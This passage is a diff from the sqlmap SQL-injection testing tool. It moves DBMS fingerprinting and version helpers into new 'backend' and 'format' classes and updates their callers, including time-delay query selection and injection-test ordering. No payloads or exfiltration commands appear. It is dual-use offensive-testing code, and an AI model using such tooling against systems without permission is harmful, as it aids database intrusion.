{
|
|
||||||
'sp': set(['Service Pack 4']),
|
|
||||||
'dbmsVersion': '8.00.194',
|
|
||||||
'dbmsServicePack': '0',
|
|
||||||
'distrib': set(['2000']),
|
|
||||||
'dbmsRelease': '2000',
|
|
||||||
'type': set(['Windows'])
|
|
||||||
}
|
|
||||||
|
|
||||||
@return: detected back-end operating system based upon fingerprint
|
|
||||||
techniques.
|
|
||||||
@rtype: C{str}
|
|
||||||
"""
|
|
||||||
|
|
||||||
infoStr = ""
|
|
||||||
|
|
||||||
if info and "type" in info:
|
|
||||||
infoStr += "%s operating system: %s" % (target, formatFingerprintString(info["type"]))
|
|
||||||
|
|
||||||
if "distrib" in info:
|
|
||||||
infoStr += " %s" % formatFingerprintString(info["distrib"])
|
|
||||||
|
|
||||||
if "release" in info:
|
|
||||||
infoStr += " %s" % formatFingerprintString(info["release"])
|
|
||||||
|
|
||||||
if "sp" in info:
|
|
||||||
infoStr += " %s" % formatFingerprintString(info["sp"])
|
|
||||||
|
|
||||||
if "codename" in info:
|
|
||||||
infoStr += " (%s)" % formatFingerprintString(info["codename"])
|
|
||||||
|
|
||||||
if "technology" in info:
|
|
||||||
infoStr += "\nweb application technology: %s" % formatFingerprintString(info["technology"], ", ")
|
|
||||||
|
|
||||||
return infoStr
|
|
||||||
|
|
||||||
def getErrorParsedDBMSesFormatted():
|
|
||||||
"""
|
|
||||||
This function parses the knowledge base htmlFp list and return its
|
|
||||||
values formatted as a human readable string.
|
|
||||||
|
|
||||||
@return: list of possible back-end DBMS based upon error messages
|
|
||||||
parsing.
|
|
||||||
@rtype: C{str}
|
|
||||||
"""
|
|
||||||
|
|
||||||
htmlParsed = ""
|
|
||||||
|
|
||||||
if len(kb.htmlFp) == 0:
|
|
||||||
return None
|
|
||||||
elif len(kb.htmlFp) == 1:
|
|
||||||
htmlParsed = kb.htmlFp[0]
|
|
||||||
elif len(kb.htmlFp) > 1:
|
|
||||||
htmlParsed = " or ".join([htmlFp for htmlFp in kb.htmlFp])
|
|
||||||
|
|
||||||
return htmlParsed
|
|
||||||
|
|
||||||
def getDocRoot(webApi=None):
|
def getDocRoot(webApi=None):
|
||||||
docRoot = None
|
docRoot = None
|
||||||
pagePath = directoryPath(conf.path)
|
pagePath = directoryPath(conf.path)
|
||||||
|
@ -626,14 +523,14 @@ def parsePasswordHash(password):
|
||||||
if not password or password == " ":
|
if not password or password == " ":
|
||||||
password = "NULL"
|
password = "NULL"
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MSSQL and password != "NULL" and isHexEncodedString(password):
|
if backend.getIdentifiedDbms() == DBMS.MSSQL and password != "NULL" and isHexEncodedString(password):
|
||||||
hexPassword = password
|
hexPassword = password
|
||||||
password = "%s\n" % hexPassword
|
password = "%s\n" % hexPassword
|
||||||
password += "%sheader: %s\n" % (blank, hexPassword[:6])
|
password += "%sheader: %s\n" % (blank, hexPassword[:6])
|
||||||
password += "%ssalt: %s\n" % (blank, hexPassword[6:14])
|
password += "%ssalt: %s\n" % (blank, hexPassword[6:14])
|
||||||
password += "%smixedcase: %s\n" % (blank, hexPassword[14:54])
|
password += "%smixedcase: %s\n" % (blank, hexPassword[14:54])
|
||||||
|
|
||||||
if kb.dbmsVersion[0] not in ( "2005", "2008" ):
|
if not backend.isVersionWithin(("2005", "2008")):
|
||||||
password += "%suppercase: %s" % (blank, hexPassword[54:])
|
password += "%suppercase: %s" % (blank, hexPassword[54:])
|
||||||
|
|
||||||
return password
|
return password
|
||||||
|
@ -927,25 +824,25 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
|
||||||
def getDelayQuery(andCond=False):
|
def getDelayQuery(andCond=False):
|
||||||
query = None
|
query = None
|
||||||
|
|
||||||
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
|
if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||||
if not kb.data.banner:
|
if not kb.data.banner:
|
||||||
conf.dbmsHandler.getVersionFromBanner()
|
conf.dbmsHandler.getVersionFromBanner()
|
||||||
|
|
||||||
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
||||||
|
|
||||||
if banVer is None or (getIdentifiedDBMS() == DBMS.MYSQL and banVer >= "5.0.12") or (getIdentifiedDBMS() == DBMS.PGSQL and banVer >= "8.2"):
|
if banVer is None or (backend.getIdentifiedDbms() == DBMS.MYSQL and banVer >= "5.0.12") or (backend.getIdentifiedDbms() == DBMS.PGSQL and banVer >= "8.2"):
|
||||||
query = queries[getIdentifiedDBMS()].timedelay.query % conf.timeSec
|
query = queries[backend.getIdentifiedDbms()].timedelay.query % conf.timeSec
|
||||||
else:
|
else:
|
||||||
query = queries[getIdentifiedDBMS()].timedelay.query2 % conf.timeSec
|
query = queries[backend.getIdentifiedDbms()].timedelay.query2 % conf.timeSec
|
||||||
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
|
||||||
query = queries[getIdentifiedDBMS()].timedelay.query
|
query = queries[backend.getIdentifiedDbms()].timedelay.query
|
||||||
else:
|
else:
|
||||||
query = queries[getIdentifiedDBMS()].timedelay.query % conf.timeSec
|
query = queries[backend.getIdentifiedDbms()].timedelay.query % conf.timeSec
|
||||||
|
|
||||||
if andCond:
|
if andCond:
|
||||||
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.SQLITE ):
|
if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.SQLITE ):
|
||||||
query = query.replace("SELECT ", "")
|
query = query.replace("SELECT ", "")
|
||||||
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
|
||||||
query = "(%s)>0" % query
|
query = "(%s)>0" % query
|
||||||
|
|
||||||
return query
|
return query
|
||||||
|
@ -1524,7 +1421,6 @@ def getUnicode(value, encoding=None):
|
||||||
else:
|
else:
|
||||||
return unicode(value) # encoding ignored for non-basestring instances
|
return unicode(value) # encoding ignored for non-basestring instances
|
||||||
|
|
||||||
|
|
||||||
# http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2
|
# http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2
|
||||||
def longestCommonPrefix(*sequences):
|
def longestCommonPrefix(*sequences):
|
||||||
if len(sequences) == 1:
|
if len(sequences) == 1:
|
||||||
|
@ -1902,8 +1798,8 @@ def isDBMSVersionAtLeast(version):
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
|
|
||||||
if kb.dbmsVersion and kb.dbmsVersion[0] != UNKNOWN_DBMS_VERSION and kb.dbmsVersion[0] != None:
|
if backend.getVersion() and backend.getVersion() != UNKNOWN_DBMS_VERSION:
|
||||||
value = kb.dbmsVersion[0].replace(" ", "").rstrip('.')
|
value = backend.getVersion().replace(" ", "").rstrip('.')
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
index = value.find('.', value.find('.') + 1)
|
index = value.find('.', value.find('.') + 1)
|
||||||
|
@ -2004,7 +1900,7 @@ def arrayizeValue(value):
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
def getInjectionTests():
|
def getSortedInjectionTests():
|
||||||
"""
|
"""
|
||||||
Returns prioritized test list by eventually detected DBMS from error
|
Returns prioritized test list by eventually detected DBMS from error
|
||||||
messages
|
messages
|
||||||
|
@ -2019,14 +1915,14 @@ def getInjectionTests():
|
||||||
retVal = SORTORDER.LAST
|
retVal = SORTORDER.LAST
|
||||||
|
|
||||||
elif 'details' in test and 'dbms' in test.details:
|
elif 'details' in test and 'dbms' in test.details:
|
||||||
if test.details.dbms in getErrorParsedDBMSes():
|
if test.details.dbms in backend.getErrorParsedDBMSes():
|
||||||
retVal = SORTORDER.SECOND
|
retVal = SORTORDER.SECOND
|
||||||
else:
|
else:
|
||||||
retVal = SORTORDER.THIRD
|
retVal = SORTORDER.THIRD
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
if getErrorParsedDBMSes():
|
if backend.getErrorParsedDBMSes():
|
||||||
retVal = sorted(retVal, key=priorityFunction)
|
retVal = sorted(retVal, key=priorityFunction)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
@ -2064,34 +1960,218 @@ def unicodeToSafeHTMLValue(value):
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def getErrorParsedDBMSes():
|
class format:
|
||||||
"""
|
@staticmethod
|
||||||
Returns array with parsed DBMS names till now
|
def humanize(values, chain=" or "):
|
||||||
|
strJoin = "|".join([v for v in values])
|
||||||
|
|
||||||
This functions is called to:
|
return strJoin.replace("|", chain)
|
||||||
|
|
||||||
1. Sort the tests, getInjectionTests() - detection phase.
|
# Get methods
|
||||||
2. Ask user whether or not skip specific DBMS tests in detection phase,
|
@staticmethod
|
||||||
lib/controller/checks.py - detection phase.
|
def getDbms(versions=None):
|
||||||
3. Sort the fingerprint of the DBMS, lib/controller/handler.py -
|
"""
|
||||||
fingerprint phase.
|
Format the back-end DBMS fingerprint value and return its
|
||||||
"""
|
values formatted as a human readable string.
|
||||||
|
|
||||||
return kb.htmlFp
|
@return: detected back-end DBMS based upon fingerprint techniques.
|
||||||
|
@rtype: C{str}
|
||||||
|
"""
|
||||||
|
|
||||||
def getIdentifiedDBMS():
|
if versions is None and backend.getVersionList():
|
||||||
dbms = None
|
versions = backend.getVersionList()
|
||||||
|
|
||||||
if kb.misc.forcedDbms is not None:
|
if versions is None:
|
||||||
dbms = kb.misc.forcedDbms
|
return backend.getDbms()
|
||||||
elif kb.dbms is not None:
|
else:
|
||||||
dbms = kb.dbms
|
return "%s %s" % (backend.getDbms(), " and ".join([v for v in versions]))
|
||||||
elif conf.dbms is not None:
|
|
||||||
dbms = conf.dbms
|
|
||||||
elif len(getErrorParsedDBMSes()) > 0:
|
|
||||||
dbms = getErrorParsedDBMSes()[0]
|
|
||||||
|
|
||||||
return aliasToDbmsEnum(dbms)
|
@staticmethod
|
||||||
|
def getErrorParsedDBMSes():
|
||||||
|
"""
|
||||||
|
Parses the knowledge base htmlFp list and return its values
|
||||||
|
formatted as a human readable string.
|
||||||
|
|
||||||
|
@return: list of possible back-end DBMS based upon error messages
|
||||||
|
parsing.
|
||||||
|
@rtype: C{str}
|
||||||
|
"""
|
||||||
|
|
||||||
|
htmlParsed = ""
|
||||||
|
|
||||||
|
if len(kb.htmlFp) == 0:
|
||||||
|
return None
|
||||||
|
elif len(kb.htmlFp) == 1:
|
||||||
|
htmlParsed = kb.htmlFp[0]
|
||||||
|
elif len(kb.htmlFp) > 1:
|
||||||
|
htmlParsed = " or ".join([htmlFp for htmlFp in kb.htmlFp])
|
||||||
|
|
||||||
|
return htmlParsed
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def getOs(target, info):
|
||||||
|
"""
|
||||||
|
Formats the back-end operating system fingerprint value
|
||||||
|
and return its values formatted as a human readable string.
|
||||||
|
|
||||||
|
Example of info (kb.headersFp) dictionary:
|
||||||
|
|
||||||
|
{
|
||||||
|
'distrib': set(['Ubuntu']),
|
||||||
|
'type': set(['Linux']),
|
||||||
|
'technology': set(['PHP 5.2.6', 'Apache 2.2.9']),
|
||||||
|
'release': set(['8.10'])
|
||||||
|
}
|
||||||
|
|
||||||
|
Example of info (kb.bannerFp) dictionary:
|
||||||
|
|
||||||
|
{
|
||||||
|
'sp': set(['Service Pack 4']),
|
||||||
|
'dbmsVersion': '8.00.194',
|
||||||
|
'dbmsServicePack': '0',
|
||||||
|
'distrib': set(['2000']),
|
||||||
|
'dbmsRelease': '2000',
|
||||||
|
'type': set(['Windows'])
|
||||||
|
}
|
||||||
|
|
||||||
|
@return: detected back-end operating system based upon fingerprint
|
||||||
|
techniques.
|
||||||
|
@rtype: C{str}
|
||||||
|
"""
|
||||||
|
|
||||||
|
infoStr = ""
|
||||||
|
|
||||||
|
if info and "type" in info:
|
||||||
|
infoStr += "%s operating system: %s" % (target, format.humanize(info["type"]))
|
||||||
|
|
||||||
|
if "distrib" in info:
|
||||||
|
infoStr += " %s" % format.humanize(info["distrib"])
|
||||||
|
|
||||||
|
if "release" in info:
|
||||||
|
infoStr += " %s" % format.humanize(info["release"])
|
||||||
|
|
||||||
|
if "sp" in info:
|
||||||
|
infoStr += " %s" % format.humanize(info["sp"])
|
||||||
|
|
||||||
|
if "codename" in info:
|
||||||
|
infoStr += " (%s)" % format.humanize(info["codename"])
|
||||||
|
|
||||||
|
if "technology" in info:
|
||||||
|
infoStr += "\nweb application technology: %s" % format.humanize(info["technology"], ", ")
|
||||||
|
|
||||||
|
return infoStr
|
||||||
|
|
||||||
|
class backend:
|
||||||
|
# Set methods
|
||||||
|
@staticmethod
|
||||||
|
def setDbms(dbms):
|
||||||
|
kb.dbms = aliasToDbmsEnum(dbms)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def setVersion(version):
|
||||||
|
if isinstance(version, basestring):
|
||||||
|
kb.dbmsVersion = [ version ]
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def setVersionList(versionsList):
|
||||||
|
if isinstance(versionsList, list):
|
||||||
|
kb.dbmsVersion = versionsList
|
||||||
|
elif isinstance(version, basestring):
|
||||||
|
backend.setVersion(versionsList)
|
||||||
|
else:
|
||||||
|
logger.error("invalid format of versionsList")
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def forceDbms(dbms):
|
||||||
|
kb.misc.forcedDbms = aliasToDbmsEnum(dbms)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def flushForcedDbms():
|
||||||
|
kb.misc.forcedDbms = None
|
||||||
|
|
||||||
|
# Get methods
|
||||||
|
@staticmethod
|
||||||
|
def getForcedDbms():
|
||||||
|
return aliasToDbmsEnum(kb.misc.forcedDbms)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def getDbms():
|
||||||
|
return aliasToDbmsEnum(kb.dbms)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def getErrorParsedDBMSes():
|
||||||
|
"""
|
||||||
|
Returns array with parsed DBMS names till now
|
||||||
|
|
||||||
|
This functions is called to:
|
||||||
|
|
||||||
|
1. Sort the tests, getSortedInjectionTests() - detection phase.
|
||||||
|
2. Ask user whether or not skip specific DBMS tests in detection phase,
|
||||||
|
lib/controller/checks.py - detection phase.
|
||||||
|
3. Sort the fingerprint of the DBMS, lib/controller/handler.py -
|
||||||
|
fingerprint phase.
|
||||||
|
"""
|
||||||
|
|
||||||
|
return kb.htmlFp
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def getIdentifiedDbms():
|
||||||
|
dbms = None
|
||||||
|
|
||||||
|
if backend.getForcedDbms() is not None:
|
||||||
|
dbms = backend.getForcedDbms()
|
||||||
|
elif backend.getDbms() is not None:
|
||||||
|
dbms = kb.dbms
|
||||||
|
elif conf.dbms is not None:
|
||||||
|
dbms = conf.dbms
|
||||||
|
elif len(backend.getErrorParsedDBMSes()) > 0:
|
||||||
|
dbms = backend.getErrorParsedDBMSes()[0]
|
||||||
|
|
||||||
|
return aliasToDbmsEnum(dbms)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def getVersion():
|
||||||
|
if len(kb.dbmsVersion) > 0:
|
||||||
|
return kb.dbmsVersion[0]
|
||||||
|
else:
|
||||||
|
return None
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def getVersionList():
|
||||||
|
if len(kb.dbmsVersion) > 0:
|
||||||
|
return kb.dbmsVersion
|
||||||
|
else:
|
||||||
|
return None
|
||||||
|
|
||||||
|
# Comparison methods
|
||||||
|
@staticmethod
|
||||||
|
def isDbms(dbms):
|
||||||
|
return backend.getDbms() is not None and backend.getDbms() == aliasToDbmsEnum(dbms)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def isDbmsWithin(aliases):
|
||||||
|
return backend.getDbms() is not None and backend.getDbms().lower() in aliases
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def isVersion(version):
|
||||||
|
return backend.getVersion() is not None and backend.getVersion() == version
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def isVersionWithin(versionList):
|
||||||
|
if backend.getVersionList() is None:
|
||||||
|
return False
|
||||||
|
|
||||||
|
for dbmsVersion in backend.getVersionList():
|
||||||
|
if dbmsVersion == UNKNOWN_DBMS_VERSION:
|
||||||
|
continue
|
||||||
|
elif dbmsVersion in versionList:
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def isVersionGreaterOrEqualThan(version):
|
||||||
|
return backend.getVersion() is not None and str(backend.getVersion()) >= str(version)
|
||||||
|
|
||||||
def showHttpErrorCodes():
|
def showHttpErrorCodes():
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -24,6 +24,7 @@ from extra.clientform.clientform import ParseResponse
|
||||||
from extra.keepalive import keepalive
|
from extra.keepalive import keepalive
|
||||||
from extra.xmlobject import xmlobject
|
from extra.xmlobject import xmlobject
|
||||||
from lib.controller.checks import checkConnection
|
from lib.controller.checks import checkConnection
|
||||||
|
from lib.core.common import backend
|
||||||
from lib.core.common import getConsoleWidth
|
from lib.core.common import getConsoleWidth
|
||||||
from lib.core.common import getFileItems
|
from lib.core.common import getFileItems
|
||||||
from lib.core.common import getFileType
|
from lib.core.common import getFileType
|
||||||
|
@ -550,11 +551,10 @@ def __setDBMS():
|
||||||
|
|
||||||
conf.dbms = conf.dbms.lower()
|
conf.dbms = conf.dbms.lower()
|
||||||
firstRegExp = "(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])
|
firstRegExp = "(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])
|
||||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
|
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms, re.I)
|
||||||
|
|
||||||
if dbmsRegExp:
|
if dbmsRegExp:
|
||||||
conf.dbms = dbmsRegExp.group(1)
|
backend.setVersion(str(dbmsRegExp.group(2)))
|
||||||
kb.dbmsVersion = [ dbmsRegExp.group(2) ]
|
|
||||||
|
|
||||||
if conf.dbms not in SUPPORTED_DBMS:
|
if conf.dbms not in SUPPORTED_DBMS:
|
||||||
errMsg = "you provided an unsupported back-end database management "
|
errMsg = "you provided an unsupported back-end database management "
|
||||||
|
@ -1107,11 +1107,8 @@ def __setKnowledgeBaseAttributes(flushAll=True):
|
||||||
|
|
||||||
kb.data = advancedDict()
|
kb.data = advancedDict()
|
||||||
|
|
||||||
# Basic back-end DBMS fingerprint
|
# Active back-end DBMS fingerprint
|
||||||
kb.dbms = None
|
kb.dbms = None
|
||||||
kb.dbmsDetected = False
|
|
||||||
|
|
||||||
# Active (extensive) back-end DBMS fingerprint
|
|
||||||
kb.dbmsVersion = [ UNKNOWN_DBMS_VERSION ]
|
kb.dbmsVersion = [ UNKNOWN_DBMS_VERSION ]
|
||||||
|
|
||||||
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
|
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
|
||||||
|
|
|
@ -9,11 +9,10 @@ See the file 'doc/COPYING' for copying permission
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.common import aliasToDbmsEnum
|
from lib.core.common import backend
|
||||||
|
from lib.core.common import format
|
||||||
from lib.core.common import dataToSessionFile
|
from lib.core.common import dataToSessionFile
|
||||||
from lib.core.common import formatFingerprintString
|
|
||||||
from lib.core.common import getFilteredPageContent
|
from lib.core.common import getFilteredPageContent
|
||||||
from lib.core.common import getIdentifiedDBMS
|
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.convert import base64pickle
|
from lib.core.convert import base64pickle
|
||||||
from lib.core.convert import base64unpickle
|
from lib.core.convert import base64unpickle
|
||||||
|
@ -99,9 +98,9 @@ def setDbms(dbms):
|
||||||
if dbmsRegExp:
|
if dbmsRegExp:
|
||||||
dbms = dbmsRegExp.group(1)
|
dbms = dbmsRegExp.group(1)
|
||||||
|
|
||||||
kb.dbms = aliasToDbmsEnum(dbms)
|
backend.setDbms(dbms)
|
||||||
|
|
||||||
logger.info("the back-end DBMS is %s" % kb.dbms)
|
logger.info("the back-end DBMS is %s" % backend.getDbms())
|
||||||
|
|
||||||
def setOs():
|
def setOs():
|
||||||
"""
|
"""
|
||||||
|
@ -128,15 +127,15 @@ def setOs():
|
||||||
return
|
return
|
||||||
|
|
||||||
if "type" in kb.bannerFp:
|
if "type" in kb.bannerFp:
|
||||||
kb.os = formatFingerprintString(kb.bannerFp["type"])
|
kb.os = format.humanize(kb.bannerFp["type"])
|
||||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||||
|
|
||||||
if "distrib" in kb.bannerFp:
|
if "distrib" in kb.bannerFp:
|
||||||
kb.osVersion = formatFingerprintString(kb.bannerFp["distrib"])
|
kb.osVersion = format.humanize(kb.bannerFp["distrib"])
|
||||||
infoMsg += " %s" % kb.osVersion
|
infoMsg += " %s" % kb.osVersion
|
||||||
|
|
||||||
if "sp" in kb.bannerFp:
|
if "sp" in kb.bannerFp:
|
||||||
kb.osSP = int(formatFingerprintString(kb.bannerFp["sp"]).replace("Service Pack ", ""))
|
kb.osSP = int(format.humanize(kb.bannerFp["sp"]).replace("Service Pack ", ""))
|
||||||
|
|
||||||
elif "sp" not in kb.bannerFp and kb.os == "Windows":
|
elif "sp" not in kb.bannerFp and kb.os == "Windows":
|
||||||
kb.osSP = 0
|
kb.osSP = 0
|
||||||
|
@ -206,11 +205,11 @@ def resumeConfKb(expression, url, value):
|
||||||
test = readInput(message, default="N")
|
test = readInput(message, default="N")
|
||||||
|
|
||||||
if not test or test[0] in ("n", "N"):
|
if not test or test[0] in ("n", "N"):
|
||||||
kb.dbms = aliasToDbmsEnum(dbms)
|
backend.setDbms(dbms)
|
||||||
kb.dbmsVersion = dbmsVersion
|
backend.setVersionList(dbmsVersion)
|
||||||
else:
|
else:
|
||||||
kb.dbms = aliasToDbmsEnum(dbms)
|
backend.setDbms(dbms)
|
||||||
kb.dbmsVersion = dbmsVersion
|
backend.setVersionList(dbmsVersion)
|
||||||
|
|
||||||
elif expression == "OS" and url == conf.url:
|
elif expression == "OS" and url == conf.url:
|
||||||
os = unSafeFormatString(value[:-1])
|
os = unSafeFormatString(value[:-1])
|
||||||
|
@ -247,7 +246,7 @@ def resumeConfKb(expression, url, value):
|
||||||
if '.' in table:
|
if '.' in table:
|
||||||
db, table = table.split('.')
|
db, table = table.split('.')
|
||||||
else:
|
else:
|
||||||
db = "%s%s" % (getIdentifiedDBMS(), METADB_SUFFIX)
|
db = "%s%s" % (backend.getIdentifiedDbms(), METADB_SUFFIX)
|
||||||
|
|
||||||
logMsg = "resuming brute forced table name "
|
logMsg = "resuming brute forced table name "
|
||||||
logMsg += "'%s' from session file" % table
|
logMsg += "'%s' from session file" % table
|
||||||
|
@ -262,7 +261,7 @@ def resumeConfKb(expression, url, value):
|
||||||
if '.' in table:
|
if '.' in table:
|
||||||
db, table = table.split('.')
|
db, table = table.split('.')
|
||||||
else:
|
else:
|
||||||
db = "%s%s" % (getIdentifiedDBMS(), METADB_SUFFIX)
|
db = "%s%s" % (backend.getIdentifiedDbms(), METADB_SUFFIX)
|
||||||
|
|
||||||
logMsg = "resuming brute forced column name "
|
logMsg = "resuming brute forced column name "
|
||||||
logMsg += "'%s' for table '%s' from session file" % (colName, table)
|
logMsg += "'%s' for table '%s' from session file" % (colName, table)
|
||||||
|
|
|
@ -12,7 +12,7 @@ import os
|
||||||
import rlcompleter
|
import rlcompleter
|
||||||
|
|
||||||
from lib.core import readlineng as readline
|
from lib.core import readlineng as readline
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
|
@ -30,7 +30,7 @@ def loadHistory():
|
||||||
def queriesForAutoCompletion():
|
def queriesForAutoCompletion():
|
||||||
autoComplQueries = {}
|
autoComplQueries = {}
|
||||||
|
|
||||||
for item in queries[getIdentifiedDBMS()]._toflat():
|
for item in queries[backend.getIdentifiedDbms()]._toflat():
|
||||||
if item._has_key('query') and len(item.query) > 1 and item._name != 'blind':
|
if item._has_key('query') and len(item.query) > 1 and item._name != 'blind':
|
||||||
autoComplQueries[item.query] = None
|
autoComplQueries[item.query] = None
|
||||||
|
|
||||||
|
|
|
@ -7,12 +7,12 @@ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||||
See the file 'doc/COPYING' for copying permission
|
See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.datatype import advancedDict
|
from lib.core.datatype import advancedDict
|
||||||
|
|
||||||
class Unescaper(advancedDict):
|
class Unescaper(advancedDict):
|
||||||
def unescape(self, expression, quote=True, dbms=None):
|
def unescape(self, expression, quote=True, dbms=None):
|
||||||
identifiedDbms = getIdentifiedDBMS()
|
identifiedDbms = backend.getIdentifiedDbms()
|
||||||
|
|
||||||
if identifiedDbms is not None:
|
if identifiedDbms is not None:
|
||||||
return self[identifiedDbms](expression, quote=quote)
|
return self[identifiedDbms](expression, quote=quote)
|
||||||
|
|
|
@ -13,7 +13,7 @@ from xml.sax.handler import ContentHandler
|
||||||
|
|
||||||
from lib.core.common import checkFile
|
from lib.core.common import checkFile
|
||||||
from lib.core.common import getCompiledRegex
|
from lib.core.common import getCompiledRegex
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import parseXmlFile
|
from lib.core.common import parseXmlFile
|
||||||
from lib.core.common import sanitizeStr
|
from lib.core.common import sanitizeStr
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
|
@ -97,13 +97,13 @@ def bannerParser(banner):
|
||||||
|
|
||||||
xmlfile = None
|
xmlfile = None
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MSSQL:
|
if backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||||
xmlfile = paths.MSSQL_XML
|
xmlfile = paths.MSSQL_XML
|
||||||
elif getIdentifiedDBMS() == DBMS.MYSQL:
|
elif backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
xmlfile = paths.MYSQL_XML
|
xmlfile = paths.MYSQL_XML
|
||||||
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
elif backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
xmlfile = paths.ORACLE_XML
|
xmlfile = paths.ORACLE_XML
|
||||||
elif getIdentifiedDBMS() == DBMS.PGSQL:
|
elif backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||||
xmlfile = paths.PGSQL_XML
|
xmlfile = paths.PGSQL_XML
|
||||||
|
|
||||||
if not xmlfile:
|
if not xmlfile:
|
||||||
|
@ -111,7 +111,7 @@ def bannerParser(banner):
|
||||||
|
|
||||||
checkFile(xmlfile)
|
checkFile(xmlfile)
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MSSQL:
|
if backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||||
handler = MSSQLBannerHandler(banner, kb.bannerFp)
|
handler = MSSQLBannerHandler(banner, kb.bannerFp)
|
||||||
parseXmlFile(xmlfile, handler)
|
parseXmlFile(xmlfile, handler)
|
||||||
|
|
||||||
|
|
|
@ -9,7 +9,7 @@ See the file 'doc/COPYING' for copying permission
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import dataToSessionFile
|
from lib.core.common import dataToSessionFile
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import getUnicode
|
from lib.core.common import getUnicode
|
||||||
from lib.core.convert import base64pickle
|
from lib.core.convert import base64pickle
|
||||||
from lib.core.convert import base64unpickle
|
from lib.core.convert import base64unpickle
|
||||||
|
@ -26,7 +26,7 @@ def direct(query, content=True):
|
||||||
select = False
|
select = False
|
||||||
query = agent.payloadDirect(query)
|
query = agent.payloadDirect(query)
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.ORACLE and query.startswith("SELECT ") and " FROM " not in query:
|
if backend.getIdentifiedDbms() == DBMS.ORACLE and query.startswith("SELECT ") and " FROM " not in query:
|
||||||
query = "%s FROM DUAL" % query
|
query = "%s FROM DUAL" % query
|
||||||
|
|
||||||
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
||||||
|
|
|
@ -11,11 +11,11 @@ import re
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
|
from lib.core.common import backend
|
||||||
from lib.core.common import calculateDeltaSeconds
|
from lib.core.common import calculateDeltaSeconds
|
||||||
from lib.core.common import cleanQuery
|
from lib.core.common import cleanQuery
|
||||||
from lib.core.common import dataToSessionFile
|
from lib.core.common import dataToSessionFile
|
||||||
from lib.core.common import expandAsteriskForColumns
|
from lib.core.common import expandAsteriskForColumns
|
||||||
from lib.core.common import getIdentifiedDBMS
|
|
||||||
from lib.core.common import getPublicTypeMembers
|
from lib.core.common import getPublicTypeMembers
|
||||||
from lib.core.common import initTechnique
|
